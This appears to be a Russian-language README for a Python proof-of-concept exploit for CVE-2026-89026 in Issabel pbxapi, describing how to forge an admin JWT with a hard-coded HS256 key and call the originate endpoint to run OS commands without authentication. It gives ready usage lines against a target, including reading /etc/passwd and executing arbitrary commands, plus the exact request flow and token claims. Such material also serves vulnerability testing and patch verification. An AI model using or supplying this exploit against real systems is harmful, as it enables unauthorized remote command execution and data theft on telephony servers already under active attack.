
Python PoC, который подделывает жёстко закодированный HS256 JWT для эксплуатации CVE-2026-89026 в Issabel pbxapi, обеспечивая неаутентифицированное удалённое выполнение команд ОС через endpoint originate.
Issabel pbxapi hard coded JWT RCE POC
Issabel Framework pbxapi — неаутентифицированная подделка JWT (жёстко закодированный ключ HS256), затем GET /pbxapi/manager/originate с Application=System для выполнения команд ОС от имени пользователя Asterisk. Исправлено в коммите b97dbaf (ключ загружается из /etc/issabel.conf). Shadowserver наблюдал эксплуатацию с 2026-09-09.
Только для авторизованного тестирования. Не запускайте это против систем, которыми вы не владеете и на тестирование которых у вас нет разрешения.
Требуется: Python 3, только стандартная библиотека.
python3 cve-2026-89026-issabel-pbxapi-jwt-rce.py -u https://TARGET --test --insecure
python3 cve-2026-89026-issabel-pbxapi-jwt-rce.py -u https://TARGET --read /etc/passwd --insecure
python3 cve-2026-89026-issabel-pbxapi-jwt-rce.py -u https://TARGET --cmd id --insecure
python3 cve-2026-89026-issabel-pbxapi-jwt-rce.py -u TARGET --test
| Флаг | Что он делает |
|---|---|
-u / --url | Базовый URL Issabel (обязателен). http:// или https://. Имя хоста без схемы сначала пробуется как HTTPS, затем HTTP. При перенаправлениях http→https POST сохраняется. При плохих TLS-сертификатах выполняется повторная попытка без проверки; --insecure пропускает проверку с самого начала (Issabel часто использует самоподписанный сертификат) |
--test | Определяет /pbxapi и доказывает, что поддельный admin JWT принимается. Без originate / без команды |
--read PATH | Выполняет cp PATH в веб-корень через System, затем GET-запросом получает файл (именно так вы видите /etc/passwd) |
--cmd CMD | GET /pbxapi/manager/originate?application=System&data=CMD. AMI не возвращает stdout — используйте --read для просмотра файла |
--channel | Originate Channel (по умолчанию Local/s@default) |
--insecure | Пропустить проверку TLS |
--timeout | Таймаут HTTP в секундах (по умолчанию 30) |
Эндпоинты --test: GET /pbxapi/ без Authorization (ожидается 403), затем тот же URL с Authorization: Bearer <forged JWT>. Ответ 200 в формате JSON со списком controllers / manager (или JSON подключения AMI после аутентификации) означает VULNERABLE. Он не вызывает originate.
Аутентификация: для атакующего её нет. API считает, что у него есть аутентификация Bearer JWT. До патча pbxapi/index.php устанавливает JWT_KEY в строку, скомпилированную в каждую установку. PoC подписывает HS256 {iat, exp, data.name=admin} этим ключом. После патча ключ — это base64_decode(pbxapijwtsecret) из /etc/issabel.conf, и стандартный токен отклоняется (NOT_VULNERABLE).
Stdout: PBXAPI, VULNERABLE, NOT_VULNERABLE, NOT_FOUND, HANDLER, HTTP.

CVE: CVE-2026-89026. Credit: Shadowserver Foundation / VulnCheck. Patch: b97dbaf.